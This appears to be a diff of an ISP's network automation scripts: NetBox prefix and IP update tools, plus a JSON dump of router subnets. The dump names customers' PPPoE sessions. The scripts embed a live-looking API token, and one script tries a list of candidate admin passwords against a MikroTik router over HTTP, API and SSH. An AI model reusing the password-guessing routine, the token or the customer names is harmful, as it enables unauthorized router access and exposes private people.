# Router subnet data with interface mappings
router_data = [
{
'prefix': '10.250.1.24/29',
'ip': '10.250.1.25/29',
'interface': 'ether3-climax-11ghz',
'description': 'Climax 11GHz backhaul link',
'role': 'infrastructure'
},
{
'prefix': '10.254.254.101/32',
'ip': '10.254.254.101/32',
'interface': 'loopback',
'description': 'Verona router loopback',
'role': 'loopback'
},
{
'prefix': '100.64.0.0/22',
'ip': '100.64.3.254/22',
'interface': 'verona',
'description': 'Verona main CGNAT subnet',
'role': 'customer'
},
{
'prefix': '204.110.188.224/27',
'ip': '204.110.188.254/27',
'interface': 'verona',
'description': 'Verona public IP subnet',
'role': 'customer'
},
{
'prefix': '100.64.12.0/22',
'ip': '100.64.15.254/22',
'interface': 'vlan_19_ether6',
'description': 'Verona VLAN 19 CGNAT',
'role': 'customer'
},
{
'prefix': '10.10.80.0/20',
'ip': '10.10.95.254/20',
'interface': 'vlan_10_ether6',
'description': 'Verona CPE management subnet 1',
'role': 'management'
},
{
'prefix': '10.10.0.0/20',
'ip': '10.10.15.254/20',
'interface': 'vlan_10_ether6',
'description': 'Verona CPE management subnet 2',
'role': 'management'
},
{
'prefix': '10.0.101.0/24',
'ip': '10.0.101.254/24',
'interface': 'sfp-sfpplus1-verona-tower-switch',
'description': 'Verona tower switch connection',
'role': 'infrastructure'
},
{
'prefix': '10.250.1.144/29',
'ip': '10.250.1.145/29',
'interface': 'ether6-switch',
'description': 'Verona switch interconnect',
'role': 'infrastructure'
},
{
'prefix': '204.110.191.0/27',
'ip': '204.110.191.30/27',
'interface': 'vlan9_sfpplus1',
'description': 'Verona VLAN 9 public subnet',
'role': 'customer'
},
{
'prefix': '10.25.1.0/24',
'ip': '10.25.1.254/24',
'interface': 'ether1',
'description': 'Verona ether1 management',
'role': 'management'
},
{
'prefix': '192.168.99.0/24',
'ip': '192.168.99.254/24',
'interface': 'ether10-powerswitch',
'description': 'Verona power switch management',
'role': 'management'
}
]
# Get site ID
site_response = nb.get('dcim/sites/', params={'name': 'Verona'})
if site_response['count'] == 0:
print("Error: Verona site not found")
return
site_id = site_response['results'][0]['id']
print(f"Found Verona site with ID: {site_id}")
# Get or create prefix roles
role_mapping = {
'infrastructure': 'Infrastructure',
'loopback': 'Loopback',
'customer': 'Customer',
'management': 'Management'
}
role_ids = {}
for key, name in role_mapping.items():
role_response = nb.get('ipam/roles/', params={'name': name})
if role_response['count'] > 0:
role_ids[key] = role_response['results'][0]['id']
else:
# Create role if it doesn't exist
role_data = {
'name': name,
'slug': key
}
try:
created_role = nb.post('ipam/roles/', role_data)
role_ids[key] = created_role['id']
print(f"Created role: {name}")
except:
print(f"Could not create role: {name}")
role_ids[key] = None
# Process each subnet
print("\n=== Creating/Updating Prefixes ===")
created_prefixes = 0
failed_prefixes = 0
for item in router_data:
# Check if prefix already exists
prefix_response = nb.get('ipam/prefixes/', params={'prefix': item['prefix']})
prefix_data = {
'prefix': item['prefix'],
'site': site_id,
'status': 'active',
'description': item['description'],
'is_pool': False
}
if role_ids.get(item['role']):
prefix_data['role'] = role_ids[item['role']]
try:
if prefix_response['count'] == 0:
# Create new prefix
created_prefix = nb.post('ipam/prefixes/', prefix_data)
print(f"Created prefix: {item['prefix']} - {item['description']}")
created_prefixes += 1
else:
# Update existing prefix
existing_id = prefix_response['results'][0]['id']
updated_prefix = nb.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
print(f"Updated prefix: {item['prefix']} - {item['description']}")
created_prefixes += 1
except Exception as e:
print(f"Failed to create/update prefix {item['prefix']}: {e}")
failed_prefixes += 1
print(f"\nPrefix Summary: {created_prefixes} successful, {failed_prefixes} failed")
# Update IP addresses with interface information
print("\n=== Updating IP Address Interface Assignments ===")
updated_ips = 0
failed_ips = 0
# Get the device for Verona
device_response = nb.get('dcim/devices/', params={'site_id': site_id})
if device_response['count'] == 0:
print("Warning: No device found for Verona site")
device_id = None
else:
device_id = device_response['results'][0]['id']
device_name = device_response['results'][0]['name']
print(f"Found device: {device_name} (ID: {device_id})")
# Create a mapping of IP to interface
ip_to_interface = {item['ip']: item['interface'] for item in router_data}
ip_to_description = {item['ip']: item['description'] for item in router_data}
# Get all IPs for the site
ips_response = nb.get('ipam/ip-addresses/', params={'site_id': site_id})
for ip_obj in ips_response['results']:
ip_address = ip_obj['address']
if ip_address in ip_to_interface:
interface_name = ip_to_interface[ip_address]
description = ip_to_description[ip_address]
# Update IP with description
update_data = {
'description': f"{interface_name} - {description}"
}
# If we have a device, try to find or create the interface
if device_id:
# Check if interface exists
interface_response = nb.get('dcim/interfaces/', params={
'device_id': device_id,
'name': interface_name
})
if interface_response['count'] == 0:
# Create interface
interface_data = {
'device': device_id,
'name': interface_name,
'type': 'virtual', # Using virtual for now
'enabled': True
}
try:
created_interface = nb.post('dcim/interfaces/', interface_data)
interface_id = created_interface['id']
print(f"Created interface: {interface_name}")
# Assign IP to interface
update_data['assigned_object_type'] = 'dcim.interface'
update_data['assigned_object_id'] = interface_id
except Exception as e:
print(f"Failed to create interface {interface_name}: {e}")
else:
# Use existing interface
interface_id = interface_response['results'][0]['id']
update_data['assigned_object_type'] = 'dcim.interface'
update_data['assigned_object_id'] = interface_id
# Update the IP address
try:
updated_ip = nb.patch(f"ipam/ip-addresses/{ip_obj['id']}/", update_data)
print(f"Updated IP {ip_address} with interface {interface_name}")
updated_ips += 1
except Exception as e:
print(f"Failed to update IP {ip_address}: {e}")
failed_ips += 1
print(f"\nIP Update Summary: {updated_ips} successful, {failed_ips} failed")
print("\n=== Update Complete ===")
print(f"Total prefixes processed: {created_prefixes + failed_prefixes}")
print(f"Total IPs processed: {updated_ips + failed_ips}")
if __name__ == "__main__":
main()

View file

@ -1,193 +0,0 @@
#!/usr/bin/env python3
"""
Update NetBox site 982 CGNAT configuration
- Add new CGNAT prefix 100.64.48.0/20 with role "Customer"
- Add router IP 100.64.63.254/20
"""
import os
import requests
import json
import sys
# API configuration
NETBOX_URL = 'https://netbox.vntx.net/api/'
API_TOKEN = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
headers = {
'Authorization': f'Token {API_TOKEN}',
'Content-Type': 'application/json'
}
def get_or_create_prefix_role(name):
"""Get or create a prefix role"""
# Check if role exists
response = requests.get(f'{NETBOX_URL}ipam/roles/', headers=headers, params={'name': name})
roles = response.json()['results']
if roles:
return roles[0]['id']
# Create role if it doesn't exist
data = {
'name': name,
'slug': name.lower().replace(' ', '-')
}
response = requests.post(f'{NETBOX_URL}ipam/roles/', headers=headers, data=json.dumps(data))
if response.status_code == 201:
return response.json()['id']
else:
print(f"Error creating role: {response.status_code} - {response.text}")
return None
def main():
print("Updating NetBox configuration for site 982...")
# Get site 982
response = requests.get(f'{NETBOX_URL}dcim/sites/', headers=headers, params={'name': '982'})
sites = response.json()['results']
if not sites:
print("Error: Site 982 not found!")
sys.exit(1)
site = sites[0]
print(f"Found site: {site['name']} (ID: {site['id']})")
# Get Customer role ID
customer_role_id = get_or_create_prefix_role('Customer')
if not customer_role_id:
print("Error: Could not get/create Customer role")
sys.exit(1)
# Step 1: Check for old CGNAT prefix (100.64.32.0/22)
print("\nChecking for old CGNAT prefix 100.64.32.0/22...")
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': '100.64.32.0/22'})
old_prefixes = response.json()['results']
for prefix in old_prefixes:
# Check if prefix belongs to site 982 (handle case where site might be None)
prefix_site = prefix.get('site')
if prefix_site and prefix_site['id'] == site['id']:
print(f"Found old CGNAT prefix: {prefix['prefix']} (ID: {prefix['id']})")
# Delete old prefix
response = requests.delete(f"{NETBOX_URL}ipam/prefixes/{prefix['id']}/", headers=headers)
if response.status_code == 204:
print("Successfully deleted old CGNAT prefix")
else:
print(f"Error deleting old prefix: {response.status_code}")
# Step 2: Add new CGNAT prefix (100.64.48.0/20)
print("\nAdding new CGNAT prefix 100.64.48.0/20...")
prefix_data = {
'prefix': '100.64.48.0/20',
'site': site['id'],
'role': customer_role_id,
'status': 'active',
'description': 'CGNAT subnet',
'tags': []
}
response = requests.post(f'{NETBOX_URL}ipam/prefixes/', headers=headers, data=json.dumps(prefix_data))
if response.status_code == 201:
new_prefix = response.json()
print(f"Successfully created prefix: {new_prefix['prefix']} (ID: {new_prefix['id']})")
else:
print(f"Error creating prefix: {response.status_code} - {response.text}")
sys.exit(1)
# Step 3: Get the router device
print("\nFinding 982-router...")
response = requests.get(f'{NETBOX_URL}dcim/devices/', headers=headers, params={'name': '982-router'})
devices = response.json()['results']
if not devices:
print("Error: 982-router not found!")
sys.exit(1)
device = devices[0]
print(f"Found device: {device['name']} (ID: {device['id']})")
# Step 4: Find or create CGNAT interface
print("\nChecking for CGNAT interface...")
response = requests.get(f'{NETBOX_URL}dcim/interfaces/', headers=headers, params={'device_id': device['id'], 'name': 'cgnat'})
interfaces = response.json()['results']
if interfaces:
interface = interfaces[0]
print(f"Found existing CGNAT interface (ID: {interface['id']})")
else:
# Create CGNAT interface
print("Creating CGNAT interface...")
interface_data = {
'device': device['id'],
'name': 'cgnat',
'type': 'virtual',
'enabled': True
}
response = requests.post(f'{NETBOX_URL}dcim/interfaces/', headers=headers, data=json.dumps(interface_data))
if response.status_code == 201:
interface = response.json()
print(f"Created CGNAT interface (ID: {interface['id']})")
else:
print(f"Error creating interface: {response.status_code} - {response.text}")
sys.exit(1)
# Step 5: Check for old IP address and remove it
print("\nChecking for old IP address 100.64.35.254/22...")
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'address': '100.64.35.254/22'})
old_ips = response.json()['results']
for ip in old_ips:
if ip['assigned_object'] and ip['assigned_object_type'] == 'dcim.interface':
if ip['assigned_object']['device']['id'] == device['id']:
print(f"Found old IP: {ip['address']} (ID: {ip['id']})")
response = requests.delete(f"{NETBOX_URL}ipam/ip-addresses/{ip['id']}/", headers=headers)
if response.status_code == 204:
print("Successfully deleted old IP address")
else:
print(f"Error deleting old IP: {response.status_code}")
# Step 6: Add new IP address (100.64.63.254/20)
print("\nAdding new IP address 100.64.63.254/20...")
ip_data = {
'address': '100.64.63.254/20',
'assigned_object_type': 'dcim.interface',
'assigned_object_id': interface['id'],
'status': 'active',
'description': 'CGNAT gateway'
}
response = requests.post(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, data=json.dumps(ip_data))
if response.status_code == 201:
new_ip = response.json()
print(f"Successfully created IP address: {new_ip['address']} (ID: {new_ip['id']})")
else:
print(f"Error creating IP address: {response.status_code} - {response.text}")
sys.exit(1)
# Step 7: Verify the changes
print("\n=== Verification ===")
# Check prefixes
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'site_id': site['id']})
prefixes = response.json()['results']
print("\nPrefixes for site 982:")
for prefix in prefixes:
role = prefix['role']['name'] if prefix['role'] else 'No role'
print(f" - {prefix['prefix']} (Role: {role})")
# Check IP addresses
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'device_id': device['id']})
ips = response.json()['results']
print("\nIP addresses on 982-router:")
for ip in ips:
interface_name = ip['assigned_object']['name'] if ip['assigned_object'] else 'Unassigned'
print(f" - {ip['address']} (Interface: {interface_name})")
print("\n✅ Update completed successfully!")
if __name__ == '__main__':
main()

View file

@ -1,254 +0,0 @@
#!/usr/bin/env python3
"""
Complete update script for site 982 CGNAT configuration
This script handles the complete update process including verification
"""
import os
import requests
import json
import sys
import time
# API configuration
NETBOX_URL = 'https://netbox.vntx.net/api/'
API_TOKEN = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
headers = {
'Authorization': f'Token {API_TOKEN}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
def delete_prefix_by_cidr(cidr):
"""Delete a prefix by CIDR notation"""
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': cidr})
prefixes = response.json()['results']
deleted = False
for prefix in prefixes:
print(f"Deleting prefix {prefix['prefix']} (ID: {prefix['id']})")
response = requests.delete(f"{NETBOX_URL}ipam/prefixes/{prefix['id']}/", headers=headers)
if response.status_code == 204:
print(" ✓ Deleted successfully")
deleted = True
else:
print(f" ✗ Error: {response.status_code}")
return deleted
def delete_ip_by_address(address):
"""Delete an IP address by address string"""
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'address': address})
ips = response.json()['results']
deleted = False
for ip in ips:
print(f"Deleting IP {ip['address']} (ID: {ip['id']})")
response = requests.delete(f"{NETBOX_URL}ipam/ip-addresses/{ip['id']}/", headers=headers)
if response.status_code == 204:
print(" ✓ Deleted successfully")
deleted = True
else:
print(f" ✗ Error: {response.status_code}")
return deleted
def main():
print("=== Site 982 CGNAT Update Script ===\n")
# Step 1: Get site 982
print("1. Finding site 982...")
response = requests.get(f'{NETBOX_URL}dcim/sites/', headers=headers, params={'name': '982'})
sites = response.json()['results']
if not sites:
print("✗ Site 982 not found!")
sys.exit(1)
site = sites[0]
site_id = site['id']
print(f"✓ Found site: {site['name']} (ID: {site_id})")
# Step 2: Get the router
print("\n2. Finding 982-router...")
response = requests.get(f'{NETBOX_URL}dcim/devices/', headers=headers, params={'name': '982-router', 'site_id': site_id})
devices = response.json()['results']
if not devices:
print("✗ 982-router not found!")
sys.exit(1)
device = devices[0]
device_id = device['id']
print(f"✓ Found device: {device['name']} (ID: {device_id})")
# Step 3: Clean up old configurations
print("\n3. Cleaning up old configurations...")
# Delete old CGNAT prefix
print(" Removing old CGNAT prefix 100.64.32.0/22...")
delete_prefix_by_cidr('100.64.32.0/22')
# Delete any existing 100.64.48.0/20 prefix (from previous attempts)
print(" Removing any existing 100.64.48.0/20 prefix...")
delete_prefix_by_cidr('100.64.48.0/20')
# Delete old IP address
print(" Removing old IP 100.64.35.254/22...")
delete_ip_by_address('100.64.35.254/22')
# Delete any existing new IP (from previous attempts)
print(" Removing any existing 100.64.63.254/20...")
delete_ip_by_address('100.64.63.254/20')
# Step 4: Create or find CGNAT interface
print("\n4. Setting up CGNAT interface...")
response = requests.get(f'{NETBOX_URL}dcim/interfaces/', headers=headers, params={'device_id': device_id, 'name': 'cgnat'})
interfaces = response.json()['results']
if interfaces:
interface = interfaces[0]
interface_id = interface['id']
print(f"✓ Found existing CGNAT interface (ID: {interface_id})")
else:
# Create interface
interface_data = {
'device': device_id,
'name': 'cgnat',
'type': 'virtual',
'enabled': True,
'description': 'CGNAT interface'
}
response = requests.post(f'{NETBOX_URL}dcim/interfaces/', headers=headers, json=interface_data)
if response.status_code == 201:
interface = response.json()
interface_id = interface['id']
print(f"✓ Created CGNAT interface (ID: {interface_id})")
else:
print(f"✗ Error creating interface: {response.status_code}")
print(response.text)
sys.exit(1)
# Step 5: Get or create Customer role
print("\n5. Setting up Customer role...")
response = requests.get(f'{NETBOX_URL}ipam/roles/', headers=headers, params={'name': 'Customer'})
roles = response.json()['results']
if roles:
role = roles[0]
role_id = role['id']
print(f"✓ Found Customer role (ID: {role_id})")
else:
# Create role
role_data = {
'name': 'Customer',
'slug': 'customer'
}
response = requests.post(f'{NETBOX_URL}ipam/roles/', headers=headers, json=role_data)
if response.status_code == 201:
role = response.json()
role_id = role['id']
print(f"✓ Created Customer role (ID: {role_id})")
else:
print(f"✗ Error creating role: {response.status_code}")
sys.exit(1)
# Step 6: Create the new CGNAT prefix
print("\n6. Creating new CGNAT prefix 100.64.48.0/20...")
# Try creating without site first, then update
prefix_data = {
'prefix': '100.64.48.0/20',
'role': role_id,
'status': 'active',
'description': 'CGNAT subnet for site 982',
'tags': []
}
response = requests.post(f'{NETBOX_URL}ipam/prefixes/', headers=headers, json=prefix_data)
if response.status_code == 201:
prefix = response.json()
prefix_id = prefix['id']
print(f"✓ Created prefix (ID: {prefix_id})")
# Now try to assign site
print(" Assigning prefix to site 982...")
# Try different approaches
# Approach 1: PATCH with just site
patch_data = {'site': site_id}
response = requests.patch(f'{NETBOX_URL}ipam/prefixes/{prefix_id}/', headers=headers, json=patch_data)
if response.status_code != 200:
# Approach 2: PUT with all fields
put_data = {
'prefix': '100.64.48.0/20',
'site': site_id,
'role': role_id,
'status': 'active',
'description': 'CGNAT subnet for site 982'
}
response = requests.put(f'{NETBOX_URL}ipam/prefixes/{prefix_id}/', headers=headers, json=put_data)
if response.status_code in [200, 201]:
updated_prefix = response.json()
if updated_prefix.get('site'):
print(f" ✓ Prefix assigned to site {updated_prefix['site']['name']}")
else:
print(" ⚠ Warning: Site assignment may have failed")
else:
print(f" ⚠ Warning: Could not assign site: {response.status_code}")
else:
print(f"✗ Error creating prefix: {response.status_code}")
print(response.text)
sys.exit(1)
# Step 7: Create the new IP address
print("\n7. Creating new IP address 100.64.63.254/20...")
ip_data = {
'address': '100.64.63.254/20',
'assigned_object_type': 'dcim.interface',
'assigned_object_id': interface_id,
'status': 'active',
'description': 'CGNAT gateway for site 982',
'tags': []
}
response = requests.post(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, json=ip_data)
if response.status_code == 201:
ip = response.json()
ip_id = ip['id']
print(f"✓ Created IP address (ID: {ip_id})")
else:
print(f"✗ Error creating IP: {response.status_code}")
print(response.text)
sys.exit(1)
# Step 8: Final verification
print("\n=== VERIFICATION ===")
# Check prefixes
print("\nPrefixes with 100.64.48.0/20:")
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': '100.64.48.0/20'})
prefixes = response.json()['results']
for prefix in prefixes:
site_info = f"Site: {prefix['site']['name']}" if prefix.get('site') else "Site: Not assigned"
role_info = f"Role: {prefix['role']['name']}" if prefix.get('role') else "Role: None"
print(f" - {prefix['prefix']} ({site_info}, {role_info})")
# Check IPs
print("\nIP addresses on 982-router:")
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'device_id': device_id})
ips = response.json()['results']
for ip in ips:
interface_info = f"Interface: {ip['assigned_object']['name']}" if ip.get('assigned_object') else "Unassigned"
print(f" - {ip['address']} ({interface_info})")
print("\n✅ Update completed!")
print("\nNOTE: If the prefix is not showing as assigned to site 982, this may be a")
print("permission or API limitation. The prefix and IP have been created successfully.")
if __name__ == '__main__':
main()

View file

@ -1,213 +0,0 @@
#!/usr/bin/env python3
"""
Verify MikroTik Access - Reliable Authentication Tester
Tests if credentials actually work by attempting real operations
"""
import requests
from requests.auth import HTTPBasicAuth
import socket
import time
def test_http_with_verification(host, username, password):
"""Test HTTP auth by trying to access actual protected content"""
print(f"Testing HTTP: {username}:{password}")
try:
# Try to access WebFig directly (should redirect if authenticated)
session = requests.Session()
session.auth = HTTPBasicAuth(username, password)
# First, try the main page
response1 = session.get(f"http://{host}/", timeout=5, allow_redirects=False)
print(f" Main page status: {response1.status_code}")
# Try to access a specific WebFig resource
response2 = session.get(f"http://{host}/webfig/", timeout=5, allow_redirects=True)
print(f" WebFig status: {response2.status_code}")
print(f" Response length: {len(response2.text)}")
# Check if we actually got WebFig content (not login page)
if "webfig" in response2.text.lower() and "login" not in response2.text.lower():
print(f" ✓ Successfully accessed WebFig interface")
return True
elif response2.status_code == 200 and len(response2.text) > 1000:
print(f" ? Got content but uncertain if authenticated")
print(f" First 200 chars: {response2.text[:200]}")
return False
else:
print(f" ✗ Authentication failed or no WebFig access")
return False
except Exception as e:
print(f" ✗ HTTP test failed: {e}")
return False
def test_api_with_verification(host, username, password):
"""Test API auth by attempting actual API operations"""
print(f"Testing API: {username}:{password}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((host, 8728))
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
else:
return bytes([0xFF]) # Error for long strings
def write_word(word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(words):
for word in words:
write_word(word)
write_word("")
def read_word():
try:
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
# Multi-byte length
second_byte = sock.recv(1)
if not second_byte:
return ""
length = ((length & 0x7F) << 8) + second_byte[0]
if length > 1000: # Sanity check
return ""
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence():
sentence = []
while True:
word = read_word()
if word == "":
break
sentence.append(word)
return sentence
# Send login
write_sentence(["/login", f"=name={username}", f"=password={password}"])
# Read login response
response = read_sentence()
print(f" Login response: {response}")
if response and response[0] == "!done":
print(f" ✓ Login successful, testing system identity...")
# Try to get system identity to verify we're actually authenticated
write_sentence(["/system/identity/print"])
identity_response = read_sentence()
print(f" Identity response: {identity_response}")
if identity_response and any("identity" in str(item).lower() for item in identity_response):
print(f" ✓ Successfully retrieved system information")
sock.close()
return True
else:
print(f" ? Login seemed successful but couldn't get system info")
sock.close()
return False
else:
print(f" ✗ Login failed")
sock.close()
return False
except Exception as e:
print(f" ✗ API test failed: {e}")
return False
def test_ssh_with_verification(host, username, password):
"""Test SSH auth with verification"""
print(f"Testing SSH: {username}:{password}")
try:
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
host,
port=22,
username=username,
password=password,
timeout=5,
allow_agent=False,
look_for_keys=False,
)
# Try to execute a command to verify we're authenticated
stdin, stdout, stderr = client.exec_command("/system identity print")
output = stdout.read().decode()
print(f" Command output: {output[:100]}...")
if output and len(output) > 10:
print(f" ✓ SSH authentication and command execution successful")
client.close()
return True
else:
print(f" ? SSH connected but no command output")
client.close()
return False
except Exception as e:
print(f" ✗ SSH test failed: {e}")
return False
def main():
host = "10.250.2.2"
username = "admin"
# Test some of the passwords that showed "success" earlier
test_passwords = [
"", # Empty
"0000-0000", # Showed success
"0000-2018", # Showed success
"admin", # Common default
"d069-0bff", # Algorithm result
]
print(f"Verifying MikroTik access to {host}")
print("=" * 60)
for password in test_passwords:
pwd_display = f'"{password}"' if password else "(empty)"
print(f"\nTesting password: {pwd_display}")
print("-" * 40)
# Test all methods with verification
http_result = test_http_with_verification(host, username, password)
api_result = test_api_with_verification(host, username, password)
ssh_result = test_ssh_with_verification(host, username, password)
if any([http_result, api_result, ssh_result]):
print(f"\n*** VERIFIED SUCCESS: {pwd_display} ***")
print(f"HTTP: {'' if http_result else ''}")
print(f"API: {'' if api_result else ''}")
print(f"SSH: {'' if ssh_result else ''}")
return password
else:
print(f"All methods failed for {pwd_display}")
print(f"\nNo working passwords found among tested candidates.")
print("The earlier 'successes' were likely false positives.")
if __name__ == "__main__":
main()

1775
verona.rsc

File diff suppressed because it is too large Load diff

View file

@ -1,926 +0,0 @@
{
"host": "10.254.254.101",
"identity": null,
"timestamp": "2026-03-26T17:14:54.272357",
"subnets": [
{
"address": "10.250.1.25/29",
"network": "10.250.1.24",
"interface": "ether3-climax-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.254.254.101/32",
"network": "10.254.254.101",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "100.64.3.254/22",
"network": "100.64.0.0",
"interface": "verona",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.254/27",
"network": "204.110.188.224",
"interface": "verona",
"comment": "",
"dynamic": false
},
{
"address": "100.64.15.254/22",
"network": "100.64.12.0",
"interface": "ether6-switch",
"comment": "",
"dynamic": false
},
{
"address": "10.10.95.254/20",
"network": "10.10.80.0",
"interface": "vlan_10_ether6",
"comment": "",
"dynamic": false
},
{
"address": "10.10.15.254/20",
"network": "10.10.0.0",
"interface": "vlan_10_ether6",
"comment": "",
"dynamic": false
},
{
"address": "10.0.101.254/24",
"network": "10.0.101.0",
"interface": "sfp-sfpplus1-verona-tower-switch",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.145/29",
"network": "10.250.1.144",
"interface": "ether6-switch",
"comment": "",
"dynamic": false
},
{
"address": "204.110.191.30/27",
"network": "204.110.191.0",
"interface": "vlan9_sfpplus1",
"comment": "",
"dynamic": false
},
{
"address": "10.25.1.254/24",
"network": "10.25.1.0",
"interface": "ether1",
"comment": "",
"dynamic": false
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.231",
"interface": "<pppoe-barbihardin>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.21",
"interface": "<pppoe-whiteywhite>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.22",
"interface": "<pppoe-davidlanman>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.23",
"interface": "<pppoe-kimberlyrichards2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.236",
"interface": "<pppoe-dejadodson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.41",
"interface": "<pppoe-chrissyeagle>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.27",
"interface": "<pppoe-williamarmstrong>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.237",
"interface": "<pppoe-ronlewis>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.45",
"interface": "<pppoe-chrissyeagle2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.3",
"interface": "<pppoe-pablohernandez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.13",
"interface": "<pppoe-allentaylor2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.6",
"interface": "<pppoe-yolandamedrano>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.17",
"interface": "<pppoe-mariatrejo>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.12",
"interface": "<pppoe-cherieeshelman>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.14",
"interface": "<pppoe-amberkrings>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.8",
"interface": "<pppoe-teresarobinson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.31",
"interface": "<pppoe-tjbanschbach>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.16",
"interface": "<pppoe-judydevine>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.7",
"interface": "<pppoe-allentaylor>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.61",
"interface": "<pppoe-sherryerichardson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.47",
"interface": "<pppoe-krystabates>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.229",
"interface": "<pppoe-vancepeltonen>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.20",
"interface": "<pppoe-dananance>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.28",
"interface": "<pppoe-markfisher>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.235",
"interface": "<pppoe-austinwatkins>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.36",
"interface": "<pppoe-billmctee>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.233",
"interface": "<pppoe-joeywhitfield>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.26",
"interface": "<pppoe-karenstewart>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.35",
"interface": "<pppoe-pambanschbach>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.39",
"interface": "<pppoe-ericbarrett>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.40",
"interface": "<pppoe-debravega>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "204.110.188.230",
"interface": "<pppoe-kirkvanmeter>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.10",
"interface": "<pppoe-almaacosta>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.38",
"interface": "<pppoe-jacquelinewilder>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.69",
"interface": "<pppoe-keithtucker>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.67",
"interface": "<pppoe-bradslate>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.33",
"interface": "<pppoe-kimberlyrichards>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.32",
"interface": "<pppoe-stevenspurgers>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.18",
"interface": "<pppoe-crankkeith>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.25",
"interface": "<pppoe-dougstowe>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.37",
"interface": "<pppoe-nathanmctee>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.29",
"interface": "<pppoe-srireddy>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.15.253/32",
"network": "100.64.0.5",
"interface": "<pppoe-maryhopper>",
